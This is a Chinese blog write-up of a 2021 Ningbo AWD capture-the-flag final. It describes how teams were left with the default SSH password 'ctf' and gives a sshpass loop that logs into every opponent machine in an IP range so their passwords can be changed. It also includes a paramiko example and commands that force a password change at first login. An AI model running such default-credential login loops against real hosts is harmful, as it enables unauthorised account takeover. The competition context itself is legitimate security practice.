【线下AWD批量修改ctf用户密码】2021宁波市赛AWD

本文最后更新于:2021年8月18日下午1点45分

前景:

2021年第四届宁波网络安全大赛决赛在6月20日于宁波交通轨道集团职工之家举行。

这一届的AWD的原本的赛程是有30分钟的加固时间、150分钟的混战时间。

image-20210620163609993

原计划比赛从下午14点开始,直到下午17点结束。

比赛的时每只队伍分配两台机器,默认的账号为:ctf,密码也为ctf,是弱口令。

原本是由30分钟的加固时间,因此正常情况下,选手是有充足的时间去修改弱口令的,但是比赛刚开始的时候,许多选手就遇到了登录不上ssh的情况,但是大部分选手都在后面陆陆续续登录上并且dump下了源码。

image-20210622200947462

经过30分钟加固时间后,许多选手出现了web服务打不开,ssh连接不上的情况,主办方表示是电压不稳的锅,然后就解除了信号屏蔽。

下午15点多的时候,主办方表示,如果服务器在下午17:30之前修不好的话,那么比赛择期,如果能修的好的话继续比赛。

这个时候,许多队伍的源码都dump下来了,其实是可以在本地搭建环境,然后上网找n day的(而我在吃菠萝包,真好吃

比赛到下午17:30,裁判长表示比赛从17:30开始,到20:30结束(膀胱局?

最最最最震惊的是,比赛基础积分从原本的20000分提升至50000分(感觉自己突然富有!

最最最最最最最最最离谱的是,所有的机器全部重置,赛题不变,然后没有了30分钟的加固时间(这还得了?直接上去ssh改别人的密码啊

比赛从17:30开始,原本我是负责积分榜(代码)审计的,但是没有加固时间,给的用户还都是弱口令,这直接连别人的机器改密码啊!!

一开始想着可以利用Python写个批量连接脚本,后来发现时间不够(技不如人

然后就开始用xshell一个个连,最后改了两台机器的ssh密码(早知道用ssh命令了,比xshell快多了

最后呢,就有了这篇文章——【用Python批量修改ctf用户密码】

赛题复现:

比赛一共需要维护两台机器,一共31支队伍(15支高校组,16支行业组),因此一共是62台机器

每一台机器给的账号密码都是ctf

并且根据比赛中的情况,IP最后一段是奇数的是同个赛题的机器,偶数的是另一套赛题的机器

比赛环境:

​ IP:192.168.1.x,从192.168.1.1192.168.1.62

SSH环境:

22端口,账号密码都是ctf,登录后就会直接要求修改密码,如下图:

image-20210620172455978

emmm,一般情况下,ssh连接上去之后,输入密码就可以执行了,但是这个地方是需要先修改密码,才能执行命令

所以这篇文章需要实现的就是:利用Python批量连接服务器,然后修改密码

利用Python编写脚本:

既然已经知道脚本的目的:利用Python批量连接服务器,然后修改密码

先搭建一个SSH连接后,会自动要求修改密码(即:实现Linux用户首次SSH登入需要重置新密码方法

实现Linux用户首次SSH登入需要重置新密码方法

当前环境Kali,IP为:192.168.2.128

首先先添加一个新用户ctf(为了和比赛环境相同

1
useradd ctf

然后修改该用户的密码

1
passwd ctf #输入两次新密码

锁定该账户

1
usermod -L ctf

强制用户账户过期

1
chage -d 0 ctf

解锁用户账户

1
usermod -U ctf

这个时候,我们在远程ssh连接到ctf这个用户的时候,就会被要求输入密码

1
ssh ctf@192.168.2.128

image-20210620183139225

至此:实现Linux用户首次SSH登入需要重置新密码方法,这个问题已经解决了

利用Python解决SSH登录问题

首先需要有一个模块可以解决SSH的问题,而Python中Paramiko的这个模块可以解决SSH登录问题

接下来给一个小程序,这个小程序可以连接SSH,然后执行ls -la的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
import paramiko
# 实例化SSHClient
client = paramiko.SSHClient()
# 自动添加策略,保存服务器的主机名和密钥信息,如果不添加,那么不再本地know_hosts文件中记录的主机将无法连接
client.set_missing_host_key_policy(paramiko.AutoAddPolicy)
# 连接SSH服务端,以用户名和密码进行认证
client.connect(hostname="192.168.2.128" , port=22 , username="kali" , password="kali")
# 打开一个Channel并执行命令
stdin, stdout , stderr = client.exec_command( "ls -la")
# 打印执行结果
print(stdout.read().decode('utf-8'))
# 关闭SSHClient
client.close()

输出结果如下:

image-20210620191018820

利用shell脚本快速登录SSH

但是paramiko模块无法解决用户首次登陆强制修改密码的问题

image-20210622200303328

因此使用shell脚本尽量简化ssh登录流程,shell脚本如下

(测试机为192.168.2.128

注意:需要sshpass环境快速输入密码

1
2
3
4
5
6
7
i=120
while(($i<=130))
do
url="ctf@192.168.1.$i"
sshpass -p "ctf" ssh -o ConnectTimeout=1 $url
let "i++"
done

执行后,如下

image-20210622200523071

当然,如果用于这次比赛的话,脚本如下:

1
2
3
4
5
6
7
i=1
while(($i<=62))
do
url="ctf@192.168.2.$i"
sshpass -p "ctf" ssh -o ConnectTimeout=1 $url
let "i++"
done

这样,一个不讲武德,可以在没有加固时间并且都是弱口令的AWD环境下,快速拿别人的机器修改密码的脚本出现了(笑死,根本才7行代码